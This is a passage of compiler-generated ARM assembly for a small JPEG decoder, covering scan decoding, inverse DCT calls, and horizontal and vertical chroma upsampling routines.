ldrb_imm_add al r0 sp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
and_imm al r0 r0 15
cmp_imm al r0 0
b ne expr:jump24:if_8_end
.bbl branch_14 4
ldrb_imm_add al r0 sp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 240
b eq expr:jump24:if_8_end
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_1_cond 4
.bbl if_8_end 4
ldrb_imm_add al r0 sp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_regimm al r0 r0 asr 4
add_imm al r0 r0 1
add_regimm al r5 r7 r0 lsl 0
mov_regimm al r7 r5 lsl 0
cmp_imm al r5 63
b le expr:jump24:if_10_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_2_cond 4
.bbl if_10_end 4
movw al r0 expr:movw_abs_nc:nj:184
movt al r0 expr:movt_abs:nj:184
ldr_imm_add al r1 r6 24
mov_regimm al r1 r1 lsl 6
add_regimm al r1 r5 r1 lsl 0
ldrb_reg_add al r0 r0 r1 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mul al r0 r4 r0
movw al r1 expr:movw_abs_nc:nj:524736
movt al r1 expr:movt_abs:nj:524736
movw al r2 expr:movw_abs_nc:njZZ
movt al r2 expr:movt_abs:njZZ
ldrsb_reg_add al r2 r2 r5
sxtb al r2 r2 0
mov_regimm al r2 r2 lsl 0
mov_regimm al r2 r2 lsl 2
str_reg_add al r1 r2 lsl 0 r0
.bbl while_3_cond 4
cmp_imm al r5 63
b lt expr:jump24:while_3
.bbl while_3_exit 4
mov_imm al r7 0
b al expr:jump24:for_4_cond
.bbl for_4 4
movw al r0 expr:movw_abs_nc:nj:524736
movt al r0 expr:movt_abs:nj:524736
mov_regimm al r1 r7 lsl 2
add_regimm al r0 r0 r1 lsl 0
bl al expr:call:njRowIDCT
.bbl for_4_next 4
add_imm al r0 r7 8
mov_regimm al r7 r0 lsl 0
.bbl for_4_cond 4
cmp_imm al r7 64
b lt expr:jump24:for_4
.bbl for_4_exit 4
mov_imm al r7 0
b al expr:jump24:for_5_cond
.bbl for_5 4
movw al r0 expr:movw_abs_nc:nj:524736
movt al r0 expr:movt_abs:nj:524736
mov_regimm al r1 r7 lsl 2
add_regimm al r0 r0 r1 lsl 0
add_regimm al r1 r8 r7 lsl 0
ldr_imm_add al r2 r6 20
bl al expr:call:njColIDCT
.bbl for_5_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
.bbl for_5_cond 4
cmp_imm al r7 8
b lt expr:jump24:for_5
.bbl for_5_exit 4
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:8
.fun njDecodeScan 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 20
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:524992
movt al r0 expr:movt_abs:nj:524992
ldr_imm_add al r0 r0 0
mov_regimm al fp r0 lsl 0
mov_imm al sl 0
bl al expr:call:__static_3_njDecodeLength
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_15_true 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_1_cond 4
.bbl while_1_exit 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
mov_regimm al r1 r1 lsl 1
add_imm al r1 r1 4
cmp_regimm al r1 r0 lsl 0
b ls expr:jump24:if_18_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_2_cond 4
.bbl if_18_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b eq expr:jump24:if_20_end
.bbl while_3 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_3_cond 4
.bbl if_20_end 4
mov_imm al r0 1
bl al expr:call:__static_2_njSkip
mov_imm al r7 0
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_regimm al r6 r0 lsl 0
b al expr:jump24:for_9_cond
.bbl for_9 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 r6 0
cmp_regimm al r0 r1 lsl 0
b eq expr:jump24:if_22_end
.bbl while_4 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_4_cond 4
.bbl if_22_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
and_imm al r0 r0 238
cmp_imm al r0 0
b eq expr:jump24:if_24_end
.bbl while_5 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_5_cond 4
.bbl if_24_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_regimm al r0 r0 asr 4
str_imm_add al r6 32 r0
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
and_imm al r0 r0 1
orr_imm al r0 r0 2
str_imm_add al r6 28 r0
mov_imm al r0 2
bl al expr:call:__static_2_njSkip
.bbl for_9_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
add_imm al r0 r6 44
mov_regimm al r6 r0 lsl 0
.bbl for_9_cond 4
mov_regimm al r0 r7 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b cc expr:jump24:for_9
.bbl for_9_exit 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 0
b ne expr:jump24:while_6
.bbl branch_40 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 63
b ne expr:jump24:while_6
.bbl branch_39 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 2
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 0
b eq expr:jump24:if_27_end
.bbl while_6 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_6_cond 4
.bbl if_27_end 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
bl al expr:call:__static_2_njSkip
mov_imm al r9 0
mov_imm al r8 0
.bbl for_14 4
mov_imm al r7 0
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_regimm al r6 r0 lsl 0
b al expr:jump24:for_12_cond
.bbl for_12 4
mov_imm al r0 0
str_imm_add al sp 4 r0
b al expr:jump24:for_11_cond
.bbl for_11 4
mov_imm al r0 0
str_imm_add al sp 0 r0
b al expr:jump24:for_10_cond
.bbl for_10 4
ldr_imm_add al r0 r6 40
ldr_imm_add al r1 r6 8
mul al r1 r9 r1
ldr_imm_add al r2 sp 4
add_regimm al r1 r1 r2 lsl 0
ldr_imm_add al r2 r6 20
mul al r1 r1 r2
ldr_imm_add al r2 r6 4
mul al r2 r8 r2
add_regimm al r1 r1 r2 lsl 0
ldr_imm_add al r2 sp 0
add_regimm al r1 r1 r2 lsl 0
mov_regimm al r1 r1 lsl 3
add_regimm al r0 r0 r1 lsl 0
mov_regimm al r1 r0 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:njDecodeBlock
.bbl while_7 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_7_cond
.bbl if_28_true 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_7_cond 4
.bbl for_10_next 4
ldr_imm_add al r0 sp 0
add_imm al r0 r0 1
str_imm_add al sp 0 r0
.bbl for_10_cond 4
ldr_imm_add al r0 r6 4
ldr_imm_add al r1 sp 0
cmp_regimm al r1 r0 lsl 0
b lt expr:jump24:for_10
.bbl for_11_next 4
ldr_imm_add al r0 sp 4
add_imm al r0 r0 1
str_imm_add al sp 4 r0
.bbl for_11_cond 4
ldr_imm_add al r0 r6 8
ldr_imm_add al r1 sp 4
cmp_regimm al r1 r0 lsl 0
b lt expr:jump24:for_11
.bbl for_12_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
add_imm al r0 r6 44
mov_regimm al r6 r0 lsl 0
.bbl for_12_cond 4
mov_regimm al r0 r7 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b cc expr:jump24:for_12
.bbl for_12_exit 4
add_imm al r0 r8 1
mov_regimm al r8 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:24
movt al r1 expr:movt_abs:nj:24
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b lt expr:jump24:if_34_end
.bbl if_34_true 4
mov_imm al r8 0
add_imm al r0 r9 1
mov_regimm al r9 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:28
movt al r1 expr:movt_abs:nj:28
ldr_imm_add al r1 r1 0
cmp_regimm al r1 r0 lsl 0
b le expr:jump24:for_14_exit
.bbl if_34_end 4
movw al r0 expr:movw_abs_nc:nj:524992
movt al r0 expr:movt_abs:nj:524992
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:for_14
.bbl branch_41 4
sub_imm al r0 fp 1
mov_regimm al fp r0 lsl 0
cmp_imm al r0 0
b ne expr:jump24:for_14
.bbl if_38_true 4
bl al expr:call:njByteAlign
mov_imm al r0 16
bl al expr:call:njGetBits
mov_regimm al r5 r0 lsl 0
movw al r0 65528
and_regimm al r0 r5 r0 lsl 0
movw al r1 65488
cmp_regimm al r0 r1 lsl 0
b ne expr:jump24:while_8
.bbl branch_42 4
and_imm al r0 r5 7
cmp_regimm al r0 sl lsl 0
b eq expr:jump24:if_36_end
.bbl while_8 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_8_cond 4
.bbl if_36_end 4
add_imm al r0 sl 1
and_imm al r0 r0 7
mov_regimm al sl r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:524992
movt al r0 expr:movt_abs:nj:524992
ldr_imm_add al r0 r0 0
mov_regimm al fp r0 lsl 0
mov_imm al r7 0
b al expr:jump24:for_13_cond
.bbl for_13 4
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_imm al r1 44
mul al r1 r7 r1
add_regimm al r0 r0 r1 lsl 0
mov_imm al r1 0
str_imm_add al r0 36 r1
.bbl for_13_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
.bbl for_13_cond 4
cmp_imm al r7 3
b lt expr:jump24:for_13
.bbl for_13_condbra1 4
b al expr:jump24:for_14
.bbl for_14_exit 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 6
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [A32] -> OUT: [] stk_size:8
.fun njUpsampleH 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 20
.bbl %start 4
mov_regimm al r8 r0 lsl 0
ldr_imm_add al r0 r8 12
sub_imm al r7 r0 3
ldr_imm_add al r0 r8 12
ldr_imm_add al r1 r8 16
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 1
mov_regimm al r0 r0 lsl 0
bl al expr:call:malloc
mov_regimm al r6 r0 lsl 0
cmp_imm al r6 0
b ne expr:jump24:if_5_end
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 3
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_1_cond 4
.bbl if_5_end 4
ldr_imm_add al r0 r8 40
mov_regimm al r9 r0 lsl 0
mov_regimm al sl r6 lsl 0
ldr_imm_add al r0 r8 16
str_imm_add al sp 4 r0
b al expr:jump24:for_3_cond
.bbl for_3 4
ldrb_imm_add al r0 r9 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 139
mul al r0 r0 r1
ldrb_imm_add al r1 r9 1
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 10
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_imm_add al sl 0 r0
ldrb_imm_add al r0 r9 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 104
mul al r0 r0 r1
ldrb_imm_add al r1 r9 1
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 27
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_imm_add al r1 r9 2
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_imm_add al sl 1 r0
ldrb_imm_add al r0 r9 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 28
mul al r0 r0 r1
ldrb_imm_add al r1 r9 1
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 109
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_imm_add al r1 r9 2
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_imm_add al sl 2 r0
mov_imm al fp 0
b al expr:jump24:for_2_cond
.bbl for_2 4
ldrb_reg_add al r0 r9 fp lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mvn_imm al r1 8
mul al r0 r0 r1
add_imm al r1 fp 1
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 111
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r1 fp 2
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 29
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r1 fp 3
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r1 fp lsl 1
add_imm al r1 r1 3
mov_regimm al r0 r0 lsl 0
strb_reg_add al sl r1 lsl 0 r0
ldrb_reg_add al r0 r9 fp lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mvn_imm al r1 2
mul al r0 r0 r1
add_imm al r1 fp 1
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 29
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r1 fp 2
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 111
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r1 fp 3
ldrb_reg_add al r1 r9 r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r1 fp lsl 1
add_imm al r1 r1 4
mov_regimm al r0 r0 lsl 0
strb_reg_add al sl r1 lsl 0 r0
.bbl for_2_next 4
add_imm al r0 fp 1
mov_regimm al fp r0 lsl 0
.bbl for_2_cond 4
cmp_regimm al fp r7 lsl 0
b lt expr:jump24:for_2
.bbl for_2_exit 4
ldr_imm_add al r0 r8 20
add_regimm al fp r9 r0 lsl 0
mov_regimm al r9 fp lsl 0
ldr_imm_add al r0 r8 12
mov_regimm al r0 r0 lsl 1
add_regimm al r0 sl r0 lsl 0
str_imm_add al sp 0 r0
ldr_imm_add al r0 sp 0
mov_regimm al sl r0 lsl 0
ldrb_imm_sub al r0 fp 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 28
mul al r0 r0 r1
ldrb_imm_sub al r1 fp 2
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 109
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_imm_sub al r1 fp 3
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 0
strb_imm_sub al r1 3 r0
ldrb_imm_sub al r0 fp 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 104
mul al r0 r0 r1
ldrb_imm_sub al r1 fp 2
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 27
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_imm_sub al r1 fp 3
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 0
strb_imm_sub al r1 2 r0
ldrb_imm_sub al r0 fp 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 139
mul al r0 r0 r1
ldrb_imm_sub al r1 fp 2
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 10
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 0
strb_imm_sub al r1 1 r0
.bbl for_3_next 4
ldr_imm_add al r0 sp 4
sub_imm al r0 r0 1
str_imm_add al sp 4 r0
.bbl for_3_cond 4
ldr_imm_add al r0 sp 4
cmp_imm al r0 0
b ne expr:jump24:for_3
.bbl for_3_exit 4
ldr_imm_add al r0 r8 12
mov_regimm al r0 r0 lsl 1
str_imm_add al r8 12 r0
ldr_imm_add al r0 r8 12
str_imm_add al r8 20 r0
ldr_imm_add al r0 r8 40
bl al expr:call:free
str_imm_add al r8 40 r6
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [A32] -> OUT: [] stk_size:36
.fun njUpsampleV 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 36
.bbl %start 4
mov_regimm al sl r0 lsl 0
ldr_imm_add al r7 sl 12
ldr_imm_add al r8 sl 20
add_regimm al r9 r8 r8 lsl 0
ldr_imm_add al r0 sl 12
ldr_imm_add al r1 sl 16
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 1
mov_regimm al r0 r0 lsl 0
bl al expr:call:malloc
mov_regimm al r6 r0 lsl 0
cmp_imm al r6 0
b ne expr:jump24:if_5_end
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 3
str_imm_add al r0 0 r1
add_imm al sp sp 36
ldmia_update al reglist:0x8fc0 sp
.bbl while_1_cond 4
.bbl if_5_end 4
mov_imm al r0 0
str_imm_add al sp 28 r0
b al expr:jump24:for_3_cond
.bbl for_3 4
ldr_imm_add al fp sl 40
ldr_imm_add al r0 sp 28
add_regimm al r0 fp r0 lsl 0
str_imm_add al sp 0 r0
ldr_imm_add al r0 sp 28
add_regimm al r0 r6 r0 lsl 0
str_imm_add al sp 4 r0
ldr_imm_add al r0 sp 28
ldrb_reg_add al r0 fp r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 139
mul al r0 r0 r1
ldr_imm_add al r1 sp 0
ldrb_reg_add al r1 r1 r8 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 10
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 28
strb_reg_add al r6 r1 lsl 0 r0
ldr_imm_add al r0 sp 4
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 8 r0
ldr_imm_add al r0 sp 28
ldrb_reg_add al r0 fp r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 104
mul al r0 r0 r1
ldr_imm_add al r1 sp 0
ldrb_reg_add al r1 r1 r8 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 27
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldr_imm_add al r1 sp 0
ldrb_reg_add al r1 r1 r9 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 4
strb_reg_add al r1 r7 lsl 0 r0
ldr_imm_add al r0 sp 8
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 12 r0
ldr_imm_add al r0 sp 28
ldrb_reg_add al r0 fp r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 28
mul al r0 r0 r1
ldr_imm_add al r1 sp 0
ldrb_reg_add al r1 r1 r8 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 109
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldr_imm_add al r1 sp 0
ldrb_reg_add al r1 r1 r9 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 8
strb_reg_add al r1 r7 lsl 0 r0
ldr_imm_add al r0 sp 12
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 24 r0
ldr_imm_add al r0 sp 0
add_regimm al r0 r0 r8 lsl 0
mov_regimm al fp r0 lsl 0
ldr_imm_add al r0 sl 16
sub_imm al r0 r0 3
str_imm_add al sp 32 r0
b al expr:jump24:for_2_cond
.bbl for_2 4
rsb_imm al r0 r8 0
ldrb_reg_add al r0 fp r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mvn_imm al r1 8
mul al r0 r0 r1
ldrb_imm_add al r1 fp 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 111
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_reg_add al r1 fp r8 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 29
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_reg_add al r1 fp r9 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 2
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 24
strb_imm_add al r1 0 r0
ldr_imm_add al r0 sp 24
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 16 r0
rsb_imm al r0 r8 0
ldrb_reg_add al r0 fp r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mvn_imm al r1 2
mul al r0 r0 r1
ldrb_imm_add al r1 fp 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 29
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_reg_add al r1 fp r8 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 111
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
ldrb_reg_add al r1 fp r9 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 16
strb_imm_add al r1 0 r0
ldr_imm_add al r0 sp 16
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 24 r0
add_regimm al r0 fp r8 lsl 0
mov_regimm al fp r0 lsl 0
.bbl for_2_next 4
ldr_imm_add al r0 sp 32
sub_imm al r0 r0 1
str_imm_add al sp 32 r0
.bbl for_2_cond 4
ldr_imm_add al r0 sp 32
cmp_imm al r0 0
b ne expr:jump24:for_2
.bbl for_2_exit 4
add_regimm al fp fp r8 lsl 0
ldrb_imm_add al r0 fp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 28
mul al r0 r0 r1
rsb_imm al r1 r8 0
ldrb_reg_add al r1 fp r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 109
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
rsb_imm al r1 r9 0
ldrb_reg_add al r1 fp r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mvn_imm al r2 8
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
add_imm al r0 r0 64
mov_regimm al r0 r0 asr 7
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 24
strb_imm_add al r1 0 r0
ldr_imm_add al r0 sp 24
add_regimm al r0 r0 r7 lsl 0
str_imm_add al sp 20 r0
ldrb_imm_add al r0 fp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_imm al r1 104
mul al r0 r0 r1
rsb_imm al r1 r8 0
ldrb_reg_add al r1 fp r1 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_imm al r2 27
mul al r1 r1 r2
add_regimm al r0 r0 r1 lsl 0
